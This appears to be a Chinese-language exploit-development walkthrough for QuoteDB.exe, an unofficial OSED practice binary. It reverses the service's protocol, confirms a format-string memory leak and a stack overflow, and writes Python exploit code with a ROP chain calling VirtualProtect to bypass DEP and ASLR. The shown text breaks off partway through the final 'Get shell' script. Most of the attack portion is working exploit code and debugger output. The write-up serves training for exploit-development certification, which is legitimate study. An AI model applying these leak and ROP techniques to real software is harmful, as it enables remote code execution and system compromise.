OSED非官方练习题QuoteDB.exe - bmdyy

0x0dee 2024-03-09 23:05:20

QuoteDB.exe DEP+ASLR

下载地址

0x00 初步

  • 开放端口3700 TCP (可自定义)

  • 加载的模块
    image-20240306143402634.png

  • 利用防护:QuoteDB.exe ASLR DEP

  • 软件功能:FTP 服务软件

  • 参考工具:TCPView (用于查看监听端口)

0x01 逆向工程

协议语法分析

在windbg中使用bp ws2_32!recv断点tcp接收函数:
image-20240306143914829.png
同步IDA,最大buffer size为0x4000,buffer被放置在ebp-0x4030起的栈空间处:
image-20240306144448672.png

buffer中的第一个字节被用作操作码,并且在下列代码块的最后对比了操作码的范围从0x384 - 0x388
image-20240306144900854.png

观察操作码为0n901时,输入buffer中的第二个dword被用作与一个叫做_num_quotes的全局变量做对比,_2ndDword大于_num_quotes时会复制一块内存(下图1),并且使用send发送到客户端(下图2),发送的内容是"INDEX_OU_TOF_BOUNDS"(下图3):

图1
image-20240306150843503.png

图2
image-20240306150250110.png

图3
image-20240306150348453.png

观察目标程序的输出,可以发现quote被加载了10次:
image-20240306150912685.png

在windbg中打印出_num_quotes,它的值为0x0a

image-20240306160858483.png

在操作码为0n902时,如果_num_quotes大于0x0c,会向客户端发送一个字符串“MAX_NUM_QUOTES_REACHED“,这说明我们的第二个dword不能大于0x0c,但我们仍不知道_num_quotes的具体含义是什么:
image-20240306161912224.png
image-20240306161939762.png

  • 协议的语法格式如下:
Buffer偏移 功能
_1stDword opcode 0x384 - 0x388
_2ndDword quote引用 0 - 0x0c

协议语义分析

我们需要知道quote的具体含义是什么,从字面意义上它可能是一个引用。我们还需要知道每个操作码对应的每个功能。

似乎除了0x084的操作码,其他都与quote相关:
image-20240306194415003.png

get_quote分析

第一个参数传入了_2ndDword,第二个参数传入了使用malloc分配的内存空间指针,大小为0x800字节。get_quote返回值作为了memcpy的size参数,malloc分配的那块内存空间被传入了memcpy的源地址(src)参数,memcpy的目的地址参数为发送给客户端的sendbuffer,被用于send函数的参数:
image-20240306194720257.png
image-20240306195252155.png

我们现在知道了get_quote第一个参数是我们buffer中的quote值,第二个参数为一个刚分配的0x800字节的空间,接下来我们分析get_quote的具体逻辑。

如下代码块,我们传入的quote在左移0x0b位之后被用作地址索引,取到的值被用作snprintf的Format参数,经过格式化处理后的buffer存放在了刚分配的new_buffer中。(如果在quotes中取到的字符串可以由我们控制,这里会存在一个内存信息泄漏漏洞,这需要在后续的工作中验证)

image-20240306200021533.png

add_quote分析

在调用add_quote之前,使用rep movsd复制了输入buffer 第二个dword起的0x200个字节内容到 ebp - 0x883c,并且传入到了add_quote中,这是它唯一一个参数:

image-20240306203156023.png

函数的主要功能是使用buffer中的quote左移0x0b位后做quotes的偏移,之后使用memcpy将输入buffer复制到quotes,这意味着在get_quote中的内存信息泄漏漏洞很可能是存在的我们将在漏洞发现阶段验证它。
image-20240306204238384.png

update_quote分析

如下图,除了协议字段的两个dword,其余buffer被传入了update_quote的第二个参数,第一个参数传入了quote。
image-20240306204751054.png

它的功能与add_quote类似,它将quotes中指定索引处的内存清空0x800字节后重新写入输入buffer:
image-20240306204944750.png

delete_quote分析

它只有一个quote参数:
image-20240306205428007.png

它的作用是循环清空每个quotes中的空间:
image-20240306205450117.png

log_bad_request分析

在操作码大于0x388时,会调用一个log_bad_request函数,它的唯一一个参数是输入buffer:

image-20240306212706359.png

在log_bad_requrest中,使用memset初始化了一个0x800字节的空间,它被用作memcpy的目的地址,memcpy的源地址为输入buffer,大小为0x4000,new_buffer位于ebp-0x808的位置,这意味着大于等于0x808将发生溢出,在函数返回时输入buffer会控制eip,从而控制cpu执行流。

image-20240306213202689.png

操作码 功能 调用函数
0x384 使用时间生成随机数 _time 和 _srand
0x385 根据buffer中的quote索引获得数据 _get_quote
0x386 存储数据到quote索引指定的位置 _add_quote
0x387 更新quote索引指定的内容 _update_quote
0x388 清空整个quotes _delete_quote

PoC:验证协议内容

#! /bin/python3

# exploit RemoteApp2.exe

import socket
import sys, os
from struct import pack

host = "192.168.31.117"
port = 3700

bufferSize = 0x3000
buffer = b""
opcode = pack("<L", 0x385)  # get_quote
quote = pack("<L", 0x1)

buffer += opcode + quote

buffer += b"Z" * (bufferSize - len(buffer))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(buffer)
recvBuffer = s.recv(1024)
print(recvBuffer)
s.close()

使用PoC确认自定义buffer能够执行到指定操作码和指定quote值:

gat_quote第一个参数为quote值,第二个参数为get_quote的输出缓冲区:
image-20240306225200349.png
image-20240306225042231.png

0x385的输出,即Quotes[1]的内容(Quotes[1]是伪代码):

└─$ python QuoteDB.py  
b"Give a man a mask and he'll tell you the truth. - Oscar Wilde"

0x02 漏洞发现

在上一阶段,我们已经找到两个疑似的漏洞,在这阶段,我们将验证他们,分别是一个内存信息泄漏漏洞和一个栈溢出漏洞。

验证格式化字符处理函数内存信息泄漏漏洞

在逆向工程阶段我们猜测,snprintf使用了可以由我们控制的缓冲区作为Fromat参数,而当格式的引用变量并没有Format参数中指定的参数多时,它会读取到额外的内存空间内容,gat_quote函数中并没有使用引用变量参数,并且我们可以定制0x3ff8个字节的Format字符串去读取这些内存空间,并且读取到的内容会在之后通过send函数发送到客户端,可能会导致内存信息泄漏漏洞。

验证思路是:构造请求去使用update_quote将包含了大量的"%x"的字符串存储到quote为1的内存空间中,在下一个连接中使用get_quote去触发snprintf。
image-20240307151143071.png

观察调用snprintf时的栈空间情况,若发生泄漏将可以读取到0x76026940和之后的数据:

94e2cca21bd062eee7603a1f25eca0a1.png

内存泄漏概念验证代码:

#! /bin/python3

# exploit RemoteApp2.exe

import socket
import sys, os
from struct import pack

host = "192.168.31.117"
port = 3700

def getAddressBuffer():
    ## 构造update_quote请求buffer
    bufferAdd = b""
    opcode = pack("<L", 0x387)  # update_quote
    quote = pack("<L", 0x1)
    _format = b"%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
    bufferAdd += opcode + quote + _format

    ## 构造get_quote请求去触发内存泄漏漏洞
    bufferGet = b""
    opcode = pack("<L", 0x385) # get_quote
    quote = pack("<L", 0x01)
    bufferGet += opcode + quote

    ## 发送update quote请求
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(bufferAdd)
    print("[+] send buffer update_quote : " + str(bufferAdd))
    recvBuffer = s.recv(1024)
    print(recvBuffer)
    s.close()

    ## 发送get quote请求
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(bufferGet)
    print("[+] send buffer get_quote : " + str(bufferGet))
    print("")
    print("[+] recv memory leak buffer :")
    recvBuffer = s.recv(1024)
    print(recvBuffer)
    s.close()
    return recvBuffer

addressBuf = getAddressBuffer()
  • 存在内存泄漏漏洞:

0x7626940之后的信息被发送到客户端:
image-20240307151032589.png

验证栈溢出漏洞

在逆向工程阶段,我们知道log_bad_requrest可能存在一个栈溢出漏洞: log_bad_requrest初始化了一个0x800字节的空间,并且调用memcpy去将新初始化的空间作为目标地址,而memcpy的size参数被硬编码为0x4000,复制的源地址空间由客户端输入的buffer控制。这将会导致0x800个字节的空间将会被覆盖,并且它的起始地址为ebp-0x808,这将会导致log_bad_request的函数返回地址被覆盖从而控制eip,进而控制cpu执行流。而log_bad_request在opcode大于0x388时触发。

image-20240306213202689.png

漏洞存在性验证思路是:发送一个操作码大于0x388的buffer,并且buffer大小大于0x808。

栈溢出概念验证代码:

def exploit(baseAddress):
    print("")
    print("")
    bufferSize = 0x3000
    bufferOF = b""
    opcode = pack("<L", 0x389)
    bufferOF += opcode
    bufferOF += b"Z" * (bufferSize - len(bufferOF))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(bufferOF)
    print("[+] venom buffer send")
    s.close()
  • 存在栈溢出漏洞

eip和esp指向的空间被控制:
image-20240307155609083.png

0x03 利用开发

有了前面的工作,我们现在可以解析得到的包含地址的buffer,并且利用这个地址去编写RoP链利用WriteProcessMemory将shellcode复制到可执行的空间从而绕过DEP和ASLR利用防护。

在编写rop之前还需要检查坏字符和eip的偏移。

EIP偏移检查

image-20240307163006600.png

┌──(tux㉿kali)-[~/]
└─$ msf-pattern_offset -l 0x1000 -q 43387143
[*] Exact match at offset 2064

┌──(tux㉿kali)-[~/]
└─$ msf-pattern_offset -l 0x1000 -q 72433971
[*] Exact match at offset 2068
  • eip : 2064
  • esp : 2068

坏字符检查

image-20240307163710248.png

  • 没有任何坏字符

RoP编写

1)准备工作

在编写RoP时,我们需要一个模块为我们提供可以利用的gadgets。

在泄漏的内存中,可以找到四个内存地址,0x76026940,0x00ed173b,0x00ed18fb还有0x132ff3c和0x132ff3c,其中最后两个为栈空间地址不能为模块基地址提供信息,0x00ed173b和0x00ed18fb为QuoteDB模块地址,0x76026940为msvcrt模块的地址,该程序的利用buffer没有任何坏字符,QuoteDB和msvcrt都可以被利用。

回顾泄漏的地址信息
94e2cca21bd062eee7603a1f25eca0a1.png
image-20240307151032589.png

检查泄漏的地址所在的模块
image-20240307164314146.png

msvcrt为MS中的模块,使用它会导致利用的不兼容性,因为不同MS windows版本之间msvcrt.dll的内容可能会不同。

但QuoteDB中的gadget无法获得esp的值,也就无法去得到调用结构的地址,也无法调用api,也就无法使用构建调用结构的方式:

└─$ cat gadgetsOfQuoteDB.txt | grep "push esp ;" | grep "pop e.. ;" 
0x00409e4d: push esp ; add esp, 0x18 ; pop ebx ; ret  ;  (1 found)
┌──(kali㉿kali)-[~/]
└─$ cat gadgetsOfQuoteDB.txt | grep ": mov e.., esp"               

┌──(kali㉿kali)-[~/]
└─$ 

或许可以使用pushad方式去构建调用栈,gadget中存在pushad指令,并且cli(禁止中断)是一个特权指令但并不会导致异常:

└─$ cat gadgetsOfQuoteDB.txt | grep ": pushad" 
0x0040156f: pushad  ; cli  ; inc eax ; add cl, cl ; ret  ;  (1 found)

pushad 指令会按照以下顺序将寄存器中的值保存到堆栈中:

  1. EDI
  2. ESI
  3. EBP
  4. ESP(当前 ESP 的值会被复制到堆栈中,而不是当前 ESP 的值)
  5. EBX
  6. EDX
  7. ECX
  8. EAX

我们需要在esi中保存VirtualProtect的值,并且将esp的值作为lpAddress参数传递给VirtualProtect,因为我们无法通过mov或者其他指令去获得esp的值,而在解引用VirtualProtect之后没有gadget可以将解引用后的VirtualProtect调用地址传递给esi,如下表:

┌──(kali㉿kali)-[~/]
└─$ cat gadgetsOfQuoteDB.txt | grep ": mov esi, e.."

┌──(kali㉿kali)-[~/]
└─$ cat gadgetsOfQuoteDB.txt | grep ": xchg esi, e.."

┌──(kali㉿kali)-[~/]
└─$ cat gadgetsOfQuoteDB.txt | grep ": xchg e.., esi"

┌──(kali㉿kali)-[~/]
└─$ cat gadgetsOfQuoteDB.txt | grep "push e.." | grep "pop esi"    

┌──(kali㉿kali)-[~/
└─$ 

并且在试图放弃兼容性,使用msvcrt.dll中的型如mov e.., esp的gadget去获得esp的值时,发现其中也没有可以获得esp值的gadget。

回想内存泄漏的buffer内容,其中似乎有两个栈空间地址,0x132ff3c和0x1327f04:
94e2cca21bd062eee7603a1f25eca0a1.png

我们需要验证这两个地址是否为栈空间地址,并且还要计算它和RoP Buffer在栈中的偏移。

编写两个个函数去解析QuoteDB的基地址和这个疑似栈空间地址:

def getBaseAddressFromBuf(recvBuffer):
    # 收到的内存信息是bytes中字符串形式的,需要先转换成字符串再转换成int
    pattern = b" # "
    _1stIndex = recvBuffer.find(pattern)
    _2rdIndex = recvBuffer.find(pattern, _1stIndex + 1)
    _3ndIndex = recvBuffer.find(pattern, _2rdIndex + 1)
    _baseAddress = recvBuffer[_2rdIndex + 3: _3ndIndex]

    if(len(_baseAddress) < 8):
        null = b"0" * (8 - len(_baseAddress))
        _baseAddress = null + _baseAddress

    _baseAddress =  _baseAddress.decode()
    _baseAddress = int(_baseAddress, 16)
    baseAddress = (_baseAddress - 0x173b)
    print("QuoteDB base address : " + hex(baseAddress))
    return baseAddress

def getStackAddressFromBuf(recvBuffer):
    # 收到的内存信息是bytes中字符串形式的,需要先转换成字符串再转换成int
    pattern = b" # "
    _1stIndex = recvBuffer.find(pattern)
    _2rdIndex = recvBuffer.find(pattern, _1stIndex + 1)
    _3ndIndex = recvBuffer.find(pattern, _2rdIndex + 1)
    _4thIndex = recvBuffer.find(pattern, _3ndIndex + 1)
    _address = recvBuffer[_3ndIndex + 3: _4thIndex]

    if(len(_address) < 8):
        null = b"0" * (8 - len(_address))
        _address = null + _address

    _address = _address.decode()
    stackAddress = int(_address, 16)
    print("Stack address from recvbuffer: " + hex(stackAddress))
    return stackAddress

获得泄漏的疑似栈空间地址:
image-20240309203525922.png

在windbg中查看发现,并不是栈空间地址:
image-20240309203437699.png

试图观察它和栈地址是否存在关联性,我们在RoP代码中将它pop到eax中用于在windbg中观察它和esp寄存器值的关联性:

def rop(baseAddress, stackAddress):

    ## VirtualProtect address 
    ropbuf = b""
    #ropbuf += fixAddress(baseAddress, 0x00409e4d) # push esp ; add esp, 0x18 ; pop ebx ; ret  ;  

    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ; 
    # 从泄漏的内存信息中提取到的栈空间地址
    ropbuf += pack("<L", stackAddress)
    ropbuf += b"\xff" * 4
        ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret  ;  
    # 从泄漏的栈空间地址计算偏移得到调用结构的地址
    ropbuf += pack("<L", 0x200) # 
    ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret  ;  
    ropbuf += b"\xff" * 4

在pop eax, pop ecx; ret gadget下断点时发现它会在未到达漏洞代码时时多次触发断点,我们在add eax, ecx; pop ebx; ret;下断点,并且pop 到ecx中的值没有特定含义:

image-20240309202905105.png

如上图,在多次实验后,发现泄漏的地址总是在esp减去0x001f77bc位置,现在我们获得了esp的值,可以继续使用QuoteDB模块去编写RoP。

2)编写RoP调用VirtualProtect

在windbg中使用!dh -i QuoteDB检查QuoteDB的导入表,导入了VirtualAlloc和VirtualProtect两个API可以用作绕过DEP:

image-20240307200053829.png
导入表地址数组的起始地址为0x00f131c4:

image-20240307200334418.png

使用dds 0x00f131c4 找到VirtualProtect的导入表地址(也可以使用VirtualAlloc):

image-20240307200535555.png

在RoP中解引用得到VirtualProtect的调用地址:

    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ;  
    ropbuf += pack("<L", 0x00f1321c) # VirtualProtect import table address
    ropbuf += fixAddress(baseAddress, 0x00401e6c) # mov eax, dword [eax] ; add ecx, 0x05 ; pop edx ; ret  ;  
    ropbuf += b"\xff" * 4   # for pop edx

VirtualProtect参数:

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,
  [in]  SIZE_T dwSize,
  [in]  DWORD  flNewProtect,
  [out] PDWORD lpflOldProtect
);

下列RoP链将从泄漏的信息中取到的栈地址加上偏移得到当前esp的值,并且在当前esp值加上0x200(越过RoP buffer的空间)得到调用结构地址,并且将VirtualProtect在导入表中的指针解引用并且写入到调用结构中:

  def rop(baseAddress, stackAddress):
    ## Write VirtualProtect address 
    ropbuf = b""
    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ; 
    # 从泄漏的内存信息中提取到的栈空间地址
    ropbuf += pack("<L", stackAddress)
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret  ;  
    # 从泄漏的栈空间地址计算偏移得到调用结构的地址
    # 将调用结构放置在esp+0x200位置,esp == 0x001f77bc + [stackAddress] 
    ropbuf += pack("<L", 0x200 + 0x001f77bc) # esp + 0x200  
    ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret  ;  
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ;  
    ropbuf += fixAddress(baseAddress, 0x0044321c) # VirtualProtect import table address
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e6c) # mov eax, dword [eax] ; add ecx, 0x05 ; pop edx ; ret  ;  
    ropbuf += b"\xff" * 4   # for pop edx
    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

我们将ebx作为存储调用结构的指针,下列RoP链将ebx加4后重新利用泄漏的地址在调用结构的基础上加上0x30得到shellcode的地址,在API返回时将直接执行具有执行权限的shellcode。

    ## return address = shellcode = call_struct + 0x30
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8    # for pop ebx; pop esi;
    ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret  ; 
    ropbuf += b"\xff" * 4    # for pop ebx
    # 保存调用ebx
    ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret  ;  
    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ; 
    ropbuf += pack("<L", stackAddress)
    ropbuf += b"\xff" * 4    # for pop ecx
    ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret  ;  
    ropbuf += pack("<L", 0x200 + 0x001f77bc + 0x30) # esp + 0x200 + 0x30  
    ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret  ;  
    ropbuf += b"\xff" * 4    # for pop ebx
    # 将保存的调用结构地址取回来存放到ebx中,并且将计算好的return address存到ebp中
    ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret  ;  
    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;
    # 取回return address
    ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret  ;  
    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

下列RoP链构造VirtualProtect的剩下几个参数,lpAddress, dwSize, flNewProtect, 和lpflOldProtect。

lpAddress直接传入ebx的值即可,VirtualProtect将改变当前栈空间中的一个页大小(0x1000)(1k)的权限,包括了shellcode。

dwSize传入1即可表示一个页的空间,flNewProtect = 0x40表示修改后的内存权限具有读写可执行,lpflOldProtect传入了一个数据段(.data)的地址,它具有可写权限,也可以计算栈空间的一个地址传给它,但是这样会增加工作量。

    ## lpAddress
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8
    ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret  ; 
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;
    # eax中保存了当前栈空间的地址, 直接写入
    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

    ## dwSize = 1
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8
    ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret  ; 
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;

    ropbuf += fixAddress(baseAddress, 0x00401e71) # pop edx ; ret  ;  
    ropbuf += pack("<L", 0x1)
    ropbuf += fixAddress(baseAddress, 0x00402cec) # mov eax, edx ; ret  ;   
    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

    ## flNewProtect = 0x40
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8
    ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret  ; 
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ;  
    ropbuf += pack("<L", 0x40)
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

    ## [OUT] lpflOldProtect = Writable address
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8
    ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret  ; 
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;
    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ;  
    ropbuf += fixAddress(baseAddress, 0x0040bfe0) # 可写的.data地址
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

在windbg中使用!dh -s QuoteDBVirtualProtect的lpflOldProtect参数寻找一个可写的空间:

image-20240307222959940.png

选择距离0x00edc000比较近的地址,0x00edbfe0:
image-20240307222743421.png

最后,将ebx指向VirtualProtect调用地址并且将它赋值到esp中,执行到ret时会直接调用VirtualProtect,调用结构中的返回地址和参数都将生效。

    ## call VirtualProtect : esp =  ebx - 0n20 (0x14)
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8
    ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret  ;   
    ropbuf += pack("<L", 0xffffffec) # -0x14
    ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret  ;  
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x0040344d) # xchg eax, esp ; ret  ;  

0x04 Get shell PoC

#! /bin/python3

# exploit QuoteDB.py

import socket
import sys, os
from struct import pack
from struct import unpack

host = "192.168.31.117"
port = 3700

def getAddressBuffer():
    bufferAdd = b""
    opcode = pack("<L", 0x387)  # update_quote
    quote = pack("<L", 0x1)
    _format = b"%x # " * 50
    bufferAdd += opcode + quote + _format

    bufferGet = b""
    opcode = pack("<L", 0x385) # get_quote
    quote = pack("<L", 0x01)
    bufferGet += opcode + quote

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(bufferAdd)
    print("[+] send buffer update_quote : " + str(bufferAdd))
    recvBuffer = s.recv(1024)
    print(recvBuffer)
    s.close()

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(bufferGet)
    print("[+] send buffer get_quote : " + str(bufferGet))
    print("")
    print("[+] recv memory leak buffer :")
    recvBuffer = s.recv(1024)
    print(recvBuffer)
    s.close()

    return recvBuffer

def getBaseAddressFromBuf(recvBuffer):
    # 收到的内存信息是bytes中字符串形式的,需要先转换成字符串再转换成int
    pattern = b" # "
    _1stIndex = recvBuffer.find(pattern)
    _2rdIndex = recvBuffer.find(pattern, _1stIndex + 1)
    _3ndIndex = recvBuffer.find(pattern, _2rdIndex + 1)
    _baseAddress = recvBuffer[_2rdIndex + 3: _3ndIndex]

    if(len(_baseAddress) < 8):
        null = b"0" * (8 - len(_baseAddress))
        _baseAddress = null + _baseAddress

    _baseAddress =  _baseAddress.decode()
    _baseAddress = int(_baseAddress, 16)
    baseAddress = (_baseAddress - 0x173b)
    print("QuoteDB base address : " + hex(baseAddress))
    return baseAddress

def getStackAddressFromBuf(recvBuffer):
    # 收到的内存信息是bytes中字符串形式的,需要先转换成字符串再转换成int
    pattern = b" # "
    _1stIndex = recvBuffer.find(pattern)
    _2rdIndex = recvBuffer.find(pattern, _1stIndex + 1)
    _3ndIndex = recvBuffer.find(pattern, _2rdIndex + 1)
    _4thIndex = recvBuffer.find(pattern, _3ndIndex + 1)
    _address = recvBuffer[_3ndIndex + 3: _4thIndex]

    if(len(_address) < 8):
        null = b"0" * (8 - len(_address))
        _address = null + _address

    _address = _address.decode()
    stackAddress = int(_address, 16)
    print("Stack address from recvbuffer: " + hex(stackAddress))
    return stackAddress


def fixAddress(baseAddress, fileAddress):
    fileBaseAddress = 0x00400000 
    fileAddress = fileAddress - fileBaseAddress
    address = baseAddress + fileAddress

    return pack("<L", address)


def rop(baseAddress, stackAddress):

    ## VirtualProtect address 
    ropbuf = b""

    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ; 
    # 从泄漏的内存信息中提取到的栈空间地址
    ropbuf += pack("<L", stackAddress)
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret  ;  
    # 从泄漏的栈空间地址计算偏移得到调用结构的地址
    # 将调用结构放置在esp+0x200位置,esp == 0x001f77bc + [stackAddress] 
    ropbuf += pack("<L", 0x200 + 0x001f77bc) # esp + 0x200  
    ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret  ;  
    ropbuf += b"\xff" * 4

    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;

    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ;  
    ropbuf += fixAddress(baseAddress, 0x0044321c) # VirtualProtect import table address
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e6c) # mov eax, dword [eax] ; add ecx, 0x05 ; pop edx ; ret  ;  
    ropbuf += b"\xff" * 4   # for pop edx

    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

    ## return address = shellcode = call_struct + 0x30
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8    # for pop ebx; pop esi;
    ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret  ; 
    ropbuf += b"\xff" * 4    # for pop ebx
    # 保存调用ebx
    ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret  ;  
    ropbuf += fixAddress(baseAddress, 0x00402b37) # pop eax ; pop ecx ; ret  ; 
    ropbuf += pack("<L", stackAddress)
    ropbuf += b"\xff" * 4    # for pop ecx
    ropbuf += fixAddress(baseAddress, 0x00402b38) # pop ecx ; ret  ;  
    ropbuf += pack("<L", 0x200 + 0x001f77bc + 0x30) # esp + 0x200 + 0x30  
    ropbuf += fixAddress(baseAddress, 0x00409b36) # add eax, ecx ; pop ebx ; ret  ;  
    ropbuf += b"\xff" * 4    # for pop ebx
    # 将保存的调用结构地址取回来存放到ebx中,并且将计算好的return address存到ebp中
    ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret  ;  
    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;
    # 取回return address
    ropbuf += fixAddress(baseAddress, 0x0040a92c) # xchg eax, ebp ; ret  ;  
    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

    ## lpAddress
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8
    ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret  ; 
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;
    # eax中保存了当前栈空间的地址, 直接写入
    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

    ## dwSize = 1
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8
    ropbuf += fixAddress(baseAddress, 0x00409b6d) # add eax, 0x04 ; pop ebx ; ret  ; 
    ropbuf += b"\xff" * 4
    ropbuf += fixAddress(baseAddress, 0x00401e73) # mov ebx, eax ; ret  ;

    ropbuf += fixAddress(baseAddress, 0x00401e71) # pop edx ; ret  ;  
    ropbuf += pack("<L", 0x1)
    ropbuf += fixAddress(baseAddress, 0x00402cec) # mov eax, edx ; ret  ;   
    ropbuf += fixAddress(baseAddress, 0x00401e7a) # mov dword [ebx], eax ; ret  ; 

    ## flNewProtect = 0x40
    ropbuf += fixAddress(baseAddress, 0x00405306) # mov eax, ebx ; pop ebx ; pop esi ; ret  ;  
    ropbuf += b"\xff" * 8
